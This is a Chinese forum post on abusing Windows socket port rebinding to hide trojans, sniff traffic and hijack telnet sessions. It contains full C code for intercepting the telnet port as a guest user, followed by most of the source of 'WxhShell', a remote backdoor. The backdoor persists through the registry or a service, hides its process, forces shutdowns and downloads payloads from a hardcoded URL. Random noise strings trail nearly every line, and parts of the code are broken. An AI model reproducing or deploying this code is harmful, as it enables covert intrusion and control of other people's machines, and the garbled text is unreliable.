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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;#'YO1`gf3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <( "M;C3y  
MW^(  
  saddr.sin_family = AF_INET; @Z0?1+k  
EPEy60Rx5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fjnp0:p9X  
Q]44A+M]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2o8:[3C5  
*\#/4_yB}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 --S1p0  
Sq#AnD6To  
  这意味着什么?意味着可以进行如下的攻击: 5 ynBVrYf  
;Fo%R$y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c@SNbY4}%  
TA2HAMx)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VO"/cG;]*  
6Jrw PZB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Zv[D{  
Y.}"<{RQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7rIz  
7j,-o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8'K~+L=}  
u^6@!M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q#kSp8  
*}F>c3x]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (Dat`:  
}~I(e  
  #include |uUGvIsXn  
  #include |}^me7C,[  
  #include "|N58%  
  #include    'SW%EVB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Ux[2 +Cf  
  int main() KjWF;VN*[3  
  { ,=_)tX^  
  WORD wVersionRequested; I |PEC-(  
  DWORD ret; vR"?XqgZ  
  WSADATA wsaData; <x!q! ;  
  BOOL val; (-}:'5|Yj  
  SOCKADDR_IN saddr; GG0H3MSc  
  SOCKADDR_IN scaddr; 'iY~F0U  
  int err; b]0]*<~y  
  SOCKET s; LDDg g u   
  SOCKET sc; >m$jJlAv8  
  int caddsize; DB~3(r?K  
  HANDLE mt; M&QzsVH  
  DWORD tid;   ?xa70Pb{;  
  wVersionRequested = MAKEWORD( 2, 2 ); eeVDU$*e=  
  err = WSAStartup( wVersionRequested, &wsaData ); /"+CH\) E  
  if ( err != 0 ) { 8ln{!,j;  
  printf("error!WSAStartup failed!\n"); hD> ]\u  
  return -1; 0Cg}yyOz  
  } h 8%(,$*  
  saddr.sin_family = AF_INET; 7$"A2x   
   "*U0xnI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x5w5xw  
&nV/XLpG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lQS(\}N  
  saddr.sin_port = htons(23); |?cL>]t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =l)D$l  
  { 3# g"Z7/  
  printf("error!socket failed!\n"); @:dn\{Zsea  
  return -1; !1b}M/Wx  
  } Ir\P[A  
  val = TRUE; DX2_} |$!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 SD/=e3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qix$ }(P  
  { lGlh/B%  
  printf("error!setsockopt failed!\n"); qnu<"$   
  return -1; /IxoS  
  } (U{,D1?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z5j\ M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [S~/lm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $+k|\+iJ  
CL|d>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "[QQ(]={  
  { u Gmv`R_  
  ret=GetLastError(); <~ Dq8If  
  printf("error!bind failed!\n");  ?v z[Zi  
  return -1; a Xn:hn~O  
  } AqA.,;G  
  listen(s,2); pqCp>BO?O  
  while(1) xA'RO-a}h  
  { :' =le*h  
  caddsize = sizeof(scaddr); dEhFuNO<2  
  //接受连接请求 :[:*kbWN-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kOE\.}~4  
  if(sc!=INVALID_SOCKET) _v#Vf*#  
  { <(!~s><.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \N%L-%^  
  if(mt==NULL) :hBLi99 o  
  { %A3ci[$g  
  printf("Thread Creat Failed!\n"); 1gA^Qv~?  
  break; XtZeT~/7RT  
  } [;C|WTYSL  
  } <Fi*wV  
  CloseHandle(mt); tCR#TW+IY-  
  } 4wkmgS  
  closesocket(s); mP] a}[  
  WSACleanup(); cq`!17"k  
  return 0; aBd>.]l?  
  }   qOTo p-  
  DWORD WINAPI ClientThread(LPVOID lpParam) j5gL 67B  
  { [$DI!%e|  
  SOCKET ss = (SOCKET)lpParam; zNO,vR[\  
  SOCKET sc; ZBk br  
  unsigned char buf[4096]; aI\:7  
  SOCKADDR_IN saddr; {UFs1  
  long num; dw-o71(1d  
  DWORD val;  nb\pBl  
  DWORD ret; !DM GAt\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ${5E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aKFY&zN?  
  saddr.sin_family = AF_INET; 7Y%Si5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K0{ ,*>C  
  saddr.sin_port = htons(23); n%ypxY0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >g;995tG  
  { +MtxS l  
  printf("error!socket failed!\n"); nK)hv95i_  
  return -1; 35H.ZXQp-  
  } FfC\uuRe  
  val = 100; 6zp]SPY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IvX+yU  
  { ~_F<"40  
  ret = GetLastError(); uC! dy  
  return -1; +w2 `  
  } l*z+<c6$_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KJ7-Vl>  
  { C)mR~Ey  
  ret = GetLastError(); o3X0c6uU  
  return -1; V6bjVd9|Z  
  } )*L=$0R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #0f6X,3  
  { c 'rn8Jo}  
  printf("error!socket connect failed!\n"); U;=1v:~d  
  closesocket(sc); <2e[;$  
  closesocket(ss); eUKl(  
  return -1; g_JSgH!4  
  } Ie[DTy  
  while(1) ,B:r^(}0j  
  { 2BO&OX|X  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xC9?Wt'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Nwg?(h#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =PjxMC._  
  num = recv(ss,buf,4096,0); -Rwx`=6tV  
  if(num>0) Ae;mU[MK/  
  send(sc,buf,num,0); #]h&GX  
  else if(num==0) iHT=ROL  
  break; -br): }f  
  num = recv(sc,buf,4096,0); C{>dE:*K^  
  if(num>0) fizL_`uMqb  
  send(ss,buf,num,0); v"l8[::  
  else if(num==0) &bigLe  
  break; !E6Q ED"  
  } H@te!EE  
  closesocket(ss); i!*8@:VI  
  closesocket(sc); F+]cFx,/  
  return 0 ; X2E=2tXl`7  
  } Dqc2;>  
0_N.s5~N  
VsDY,=Ww  
========================================================== ><qA+/4]_  
NpxgF<G  
下边附上一个代码,,WXhSHELL |zJ2ZE|  
BdP+>Ij  
========================================================== 9w6 uoM  
k#-%u,t  
#include "stdafx.h" 2AW*PDncxP  
<rFh93  
#include <stdio.h> =z4J[8bb  
#include <string.h> ZA\;9M=  
#include <windows.h> xKkXr-yb`f  
#include <winsock2.h> 8H,k0~D  
#include <winsvc.h> ~ \b~  
#include <urlmon.h> #S(b2LEc  
FzAzAl 5  
#pragma comment (lib, "Ws2_32.lib") ,Fn-SrB:  
#pragma comment (lib, "urlmon.lib") M[C)b\  
<b?$-Rx  
#define MAX_USER   100 // 最大客户端连接数 x->+w Jm@s  
#define BUF_SOCK   200 // sock buffer T_d)1m fl  
#define KEY_BUFF   255 // 输入 buffer }/4),W@<  
Q)=2%X  
#define REBOOT     0   // 重启 ;u=%Vn"2a  
#define SHUTDOWN   1   // 关机 @p@b6iLpO  
$$XeCPs 0  
#define DEF_PORT   5000 // 监听端口 "8L v  
rN,T}M= 2  
#define REG_LEN     16   // 注册表键长度 L^=G(op*  
#define SVC_LEN     80   // NT服务名长度 <`u_O!h  
i]Bu7Fuu  
// 从dll定义API F_0@S h"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fRHzY?n9;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ph)>;jU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?XV3Y3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  F##xVmR~  
et/v/Hvw1  
// wxhshell配置信息 8~F?%!X  
struct WSCFG { >uYU_/y$2  
  int ws_port;         // 监听端口 x.sC015Id  
  char ws_passstr[REG_LEN]; // 口令 oPVt qQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no r^ {Bw1+  
  char ws_regname[REG_LEN]; // 注册表键名 L4ZB0PmN'  
  char ws_svcname[REG_LEN]; // 服务名 G_M8? G0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &UNQ4-s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EMDYeXpV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K)^8 :nt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ff]fN:}V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r[wjE`Z/T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !3{;oU%*  
xW7[VTXc^  
}; [c XSk  
F:~@e(  
// default Wxhshell configuration ay#f\P!1  
struct WSCFG wscfg={DEF_PORT, /!N=@z)  
    "xuhuanlingzhe", cgO<%_l3`  
    1, =&<d4'(Qk  
    "Wxhshell", x<7?  
    "Wxhshell", ;#^ o5ht  
            "WxhShell Service", 7EVB|gTp  
    "Wrsky Windows CmdShell Service", bn7g!2  
    "Please Input Your Password: ", 6  $`l  
  1, .@ZrmO o]]  
  "http://www.wrsky.com/wxhshell.exe", 5vLA)Al3  
  "Wxhshell.exe" HA[7)T N1E  
    }; < FY%QB)h  
[,{Nu EI  
// 消息定义模块 4K 8(H9(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *U$%mZS]1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fe8hgTP|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FNw]DJ]  
char *msg_ws_ext="\n\rExit."; qFl|q0\ A  
char *msg_ws_end="\n\rQuit.";  M%g2UP  
char *msg_ws_boot="\n\rReboot..."; E^0a; |B[  
char *msg_ws_poff="\n\rShutdown..."; =\mJ5v"hA  
char *msg_ws_down="\n\rSave to "; TF80WMt  
YI`BA`BQ8  
char *msg_ws_err="\n\rErr!"; BO8?{~i  
char *msg_ws_ok="\n\rOK!"; Dy:r)\KX  
h6}rOchj  
char ExeFile[MAX_PATH]; <8YvsJ  
int nUser = 0; ah,"c9YX  
HANDLE handles[MAX_USER]; :^-\KE` 3  
int OsIsNt; <\ eRa{ef  
LIKQQ  
SERVICE_STATUS       serviceStatus; 0{I-x^FI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )[u'LgVN/L  
@ 2On`~C`  
// 函数声明 `Y^l.%AZZ  
int Install(void); % [~0<uO  
int Uninstall(void); dn:\V?9  
int DownloadFile(char *sURL, SOCKET wsh); K=r~+4F  
int Boot(int flag); c`/=)IO4%  
void HideProc(void); rHuzGSX54  
int GetOsVer(void); rU(-R@["  
int Wxhshell(SOCKET wsl); l%p,m [  
void TalkWithClient(void *cs); i52JY&N  
int CmdShell(SOCKET sock); jfVw{\l  
int StartFromService(void); sk*vmxClY  
int StartWxhshell(LPSTR lpCmdLine); 73nM9  
`sg W0Uf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ 8YBW<9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |>1#)cONW  
Cs\jPh;"  
// 数据结构和表定义 ;/kmV~KG  
SERVICE_TABLE_ENTRY DispatchTable[] = sXNb  
{ -8R SE4)  
{wscfg.ws_svcname, NTServiceMain}, gdg``U;)p  
{NULL, NULL} @yC3a)=$L  
}; -s1.v$ g  
x 0#u2j?zj  
// 自我安装 3_ .%NgES|  
int Install(void) ~)zxIO!  
{ r8!pk~R5]  
  char svExeFile[MAX_PATH]; gf>GK/^HH  
  HKEY key; TKiYEh  
  strcpy(svExeFile,ExeFile); /8Z&Y`G  
eKo=g|D  
// 如果是win9x系统,修改注册表设为自启动 B@#vS=g  
if(!OsIsNt) { N 1.fV-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >;R7r|^k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F/[m.!Eo  
  RegCloseKey(key); AX Q.E$1g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I*$-[3/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d+6q% U  
  RegCloseKey(key); NqveL<r`  
  return 0; {wgq>cb  
    } O1wo KkfV  
  } TB=_r(:l+  
} Y\+LBbB8  
else { UJ(UzKq8  
vp9wRGd  
// 如果是NT以上系统,安装为系统服务 E|jU8qz>P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l2YA/9.  
if (schSCManager!=0) ,?HM5c{'[Y  
{ 7%[ YX  
  SC_HANDLE schService = CreateService |.$7.8g  
  ( .}uri1k"@k  
  schSCManager, Y9&na&vY?  
  wscfg.ws_svcname, x34GRe!!  
  wscfg.ws_svcdisp, jw 5 U-zi  
  SERVICE_ALL_ACCESS, t;-F]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X[f)0w%  
  SERVICE_AUTO_START, c-!3wvt)  
  SERVICE_ERROR_NORMAL, 2$`Y 4b3t  
  svExeFile, zL3zvOhu}  
  NULL, `M. I.Z_  
  NULL, n)z:C{  
  NULL, y y[Y=  
  NULL, lN0u1)'2  
  NULL #&fu"W+D96  
  ); Hl'AnxE  
  if (schService!=0) -M_>]ubG  
  { 7+IRI|d  
  CloseServiceHandle(schService); #0\* 8 6  
  CloseServiceHandle(schSCManager); ^dsj1#3z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *OIBMx#qxn  
  strcat(svExeFile,wscfg.ws_svcname); ULgp]IS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *"4l}&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zb|a\z8?  
  RegCloseKey(key); 8?x:PkK  
  return 0; -_eG/o=M  
    } Li$2 Gpc/  
  } uPxjW"M+  
  CloseServiceHandle(schSCManager); <"xqt7f  
} O6ugN-d>  
} mEkYT  
' I!/I  
return 1; n}fV$qu  
} zA:q/i  
N:S2X+}(  
// 自我卸载 -P&uY`  
int Uninstall(void) U~t!   
{ bNiJ"k<pN  
  HKEY key; Q<ia  
|F<%gJ  
if(!OsIsNt) { wzJdS}Yy!y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H*P+>j&  
  RegDeleteValue(key,wscfg.ws_regname); (TO<SY3AB  
  RegCloseKey(key); :XPat9 3w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q(L.i)w$  
  RegDeleteValue(key,wscfg.ws_regname); Y6d~hLC  
  RegCloseKey(key); W- nS{v(  
  return 0; fwMYEj  
  } G;ZN>8NB  
} [McqwU/Q  
} a" T+CA  
else { &-JIXVd*R  
-S&9"=v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a1u4v/Qu9  
if (schSCManager!=0) mH5>50H;  
{ Ggst s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wg,@S*x(  
  if (schService!=0) d6 -q"  
  { Q2* 8c$  
  if(DeleteService(schService)!=0) { pSIXv%1J  
  CloseServiceHandle(schService); Wa.!eAe}  
  CloseServiceHandle(schSCManager); E|SmvIV-  
  return 0; %g3QE:(2@q  
  } ]KXyi;n2  
  CloseServiceHandle(schService); ~ Fl\c-  
  } D/%v/mpj$  
  CloseServiceHandle(schSCManager); >i.$s  
} jO|`aUY Tf  
} yf`_?gJ6d  
 cz>)6#&O  
return 1; D`X<b4e8/  
} Qz%q#4Zb  
Zr A*MN  
// 从指定url下载文件 (x.qyYEoI  
int DownloadFile(char *sURL, SOCKET wsh) Fi\) ka\u  
{ |ITb1O`_P  
  HRESULT hr; @~N"MsF3  
char seps[]= "/"; gTB|IcOs  
char *token;  E<0Mluk  
char *file; N2k{@DY  
char myURL[MAX_PATH]; A )CsF  
char myFILE[MAX_PATH]; ,1lW`Krx  
'&K' 0qG  
strcpy(myURL,sURL); QMrH%Y  
  token=strtok(myURL,seps); E?|NYu#I6  
  while(token!=NULL) X%fLV(  
  { S1'?"zAmd  
    file=token; u|u)8;'9(  
  token=strtok(NULL,seps); _v,Wl/YAp  
  } T g3MPa#g  
&TrL!9FtJ  
GetCurrentDirectory(MAX_PATH,myFILE); r<LWiM l?  
strcat(myFILE, "\\"); :eB+t`M  
strcat(myFILE, file); AeN:wOm  
  send(wsh,myFILE,strlen(myFILE),0); {_$['D^az  
send(wsh,"...",3,0); yf R0vp<&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >uQjygjj  
  if(hr==S_OK) *ezft&{)`  
return 0; {)!ua7GF0H  
else 9L4;#cy  
return 1; {.o4U0+  
A=e1uBGA  
} k]RQ 7e  
7v0VZ(UR  
// 系统电源模块 wgvCgr<  
int Boot(int flag) l=S!cj;  
{ p} eO  
  HANDLE hToken; KZ^>_K&  
  TOKEN_PRIVILEGES tkp; wc"~8Ah  
}j2t8B^&:  
  if(OsIsNt) { D;+Y0B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w T_l>u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4 2-T&7k  
    tkp.PrivilegeCount = 1; f(!cz,y^\*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xCT2FvX6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t U~q4$qqE  
if(flag==REBOOT) { RF4B ]Gqd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :6EX-Xyj  
  return 0; pm i[M)D  
} /~fu,2=7  
else { erTly2-SJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5xNOIOpDB  
  return 0; a[sdYZ  
} I|c?*~7*  
  } 0QrRG$<4X  
  else { R3)ccom  
if(flag==REBOOT) { AxTFV ot  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o: > (Tv  
  return 0; U-f8 D  
} ?>vkY^/  
else {  :fy,%su  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _z.CV<  
  return 0; s*i,Ph  
} Lk^bzW>f  
} Tkp"mT v?<  
kXUJlLod  
return 1; wGIRRM !b  
} hg'eSU$J  
^%g 8OP  
// win9x进程隐藏模块 J<Ki;_=I  
void HideProc(void) O(.eHZ=  
{ h2:TbQ  
Bqk+ne  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t0P_$+w.>  
  if ( hKernel != NULL ) Y(K`3? A  
  { 55y{9.n*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -JFW ,8=8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q9InO]s&~=  
    FreeLibrary(hKernel); <&)zT#"  
  } t 0p  
QAY:H@Gt:  
return; +G7[(Wz(z  
} 7suT26C  
j-FMWEp  
// 获取操作系统版本 $,I@c"m{  
int GetOsVer(void) n>SK2`  
{ I\j-  
  OSVERSIONINFO winfo; Zny9TP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {%, 4P_m  
  GetVersionEx(&winfo); ;9J6)zg !n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 61HJ%  
  return 1; 5,|{|/  
  else H,j_2JOY=  
  return 0; ]f wW dtz1  
} r(n>N0:0Ls  
v6=X]Ji{YA  
// 客户端句柄模块 k>!i _lb  
int Wxhshell(SOCKET wsl) rploQF~OFF  
{ S'@Ok=FSy  
  SOCKET wsh; MBQ|*}+;  
  struct sockaddr_in client; Uz]=`F8  
  DWORD myID; l6IT o@&J  
8Vt'X2  
  while(nUser<MAX_USER) {\LLiU}MJC  
{ ?\X9Ei  
  int nSize=sizeof(client); l%yQ{loTh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jrttWT  
  if(wsh==INVALID_SOCKET) return 1; +#X+QG  
a/%qn-i|p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "#f5jH  
if(handles[nUser]==0) -h8Z@r~a/  
  closesocket(wsh); 6D{70onY+  
else * $1F|G  
  nUser++; X>]<rEh  
  } yRQNmR;Uy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #}tdA( -  
dWhqu68_  
  return 0; #AO}JP  
} " Z dI~  
TKEcbGhy  
// 关闭 socket OsYZ a`$,  
void CloseIt(SOCKET wsh) ps/|^8aGZ  
{ ,t'"3<^Jg  
closesocket(wsh); 6_tl_O7  
nUser--; F2)KAIl  
ExitThread(0); cVmF'g  
} I0^oaccM  
u:wijkx  
// 客户端请求句柄 xKepZ  
void TalkWithClient(void *cs) 4"^W/Zo  
{ X@)'E9g5:  
~1S,[5u|s  
  SOCKET wsh=(SOCKET)cs; F hyY+{%  
  char pwd[SVC_LEN]; mFd|JbW  
  char cmd[KEY_BUFF]; KyqP@ {  
char chr[1]; AF{@lDa1h  
int i,j; RyWfoLc  
YnCuF0>  
  while (nUser < MAX_USER) { +p]@b  
'S=eW_ 0/  
if(wscfg.ws_passstr) { 6&2{V? W3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _C'VC#Sy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]/[@.   
  //ZeroMemory(pwd,KEY_BUFF); /}CAd  
      i=0; *ck'vV'@  
  while(i<SVC_LEN) { XuU>.T$]c  
xa{.hp?  
  // 设置超时 lhBAT%U\  
  fd_set FdRead; D>-Pv-f/  
  struct timeval TimeOut; #wh[F"zX  
  FD_ZERO(&FdRead); h]VC<BD6S  
  FD_SET(wsh,&FdRead); xZQyH  
  TimeOut.tv_sec=8; a%/x  
  TimeOut.tv_usec=0; wDBU+Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q7mikg=1-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,}I m^~5  
-KqMSf&9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'loko#6  
  pwd=chr[0]; /c7jL4oD  
  if(chr[0]==0xd || chr[0]==0xa) { (^<skx>  
  pwd=0; =#&+w[4?&.  
  break; N)KN!!  
  } T@n};,SQ  
  i++; ;YBk.} %  
    } 9h6siK(F  
`vf]C'  
  // 如果是非法用户,关闭 socket C2DAsSw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kzwe36O;?  
} yv$hIU2X  
$5Rx>$~+d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B? XK;*])  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )31xl6@  
C7&L9k~jf  
while(1) { &.Yu%=}  
#X?E#^6?E  
  ZeroMemory(cmd,KEY_BUFF); /d$kz&aIV  
v <| iN#  
      // 自动支持客户端 telnet标准   1Z_ H% (  
  j=0; -"bC[WN  
  while(j<KEY_BUFF) { w3ZO CWJS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 <7sVd.  
  cmd[j]=chr[0]; <anU#bEuQ  
  if(chr[0]==0xa || chr[0]==0xd) { ^r{N^  
  cmd[j]=0; X%`:waR  
  break; h +9~^<oFl  
  } vJb/.)gh]  
  j++; j`MK\*qmz  
    } UGoB7TEfn  
h6;zAM}  
  // 下载文件 W"tGCnd  
  if(strstr(cmd,"http://")) { J d,9<m $  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); shVEAT'`  
  if(DownloadFile(cmd,wsh)) |HwEwL+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7DeBeY  
  else # `@jVX0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `?"r\Qo<  
  } !0v3Lu ~j  
  else { 2=naPTP(  
bPuO~#iN~  
    switch(cmd[0]) { c/Li,9cT'  
  Zk31|dL  
  // 帮助 Bc<pD?uOK  
  case '?': { ?0 7}\N0~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q 'uGB fE.  
    break; LO38}w<k  
  } Y&$puiH-j  
  // 安装 LK>;\BRe?  
  case 'i': { &Cr4<V6-q  
    if(Install()) Z55C4F5v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=wvlI52`  
    else }8`>n4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *mW2vJ/B  
    break; vxrqUjK7  
    } LQ||7>{eX  
  // 卸载 gYmO4/c,  
  case 'r': { -Q%Pg<Q-#  
    if(Uninstall()) SES-a Mi3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Na+h+wD.D  
    else !y$+RA7\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !;Pp)SRzKG  
    break; JX#0<U|L  
    } .(yJ+NU  
  // 显示 wxhshell 所在路径 bfK4ps}m*  
  case 'p': { .k|\xR  
    char svExeFile[MAX_PATH]; FRayB VHL  
    strcpy(svExeFile,"\n\r"); cV4Y= &  
      strcat(svExeFile,ExeFile); wv Mp~  
        send(wsh,svExeFile,strlen(svExeFile),0); +HG*T[%/  
    break; P4 #j;k4P  
    } KD- -w(4  
  // 重启 `A8ErfA  
  case 'b': { 2{B ScI5K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iMQ0Sq-%1  
    if(Boot(REBOOT)) (N`GvB7;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Ujy_E?^  
    else { ej \S c7.  
    closesocket(wsh); @eq.&{&  
    ExitThread(0); & +yo PF  
    } ;ssI8\LG  
    break; y8} /e@&  
    } ^S!;snhn  
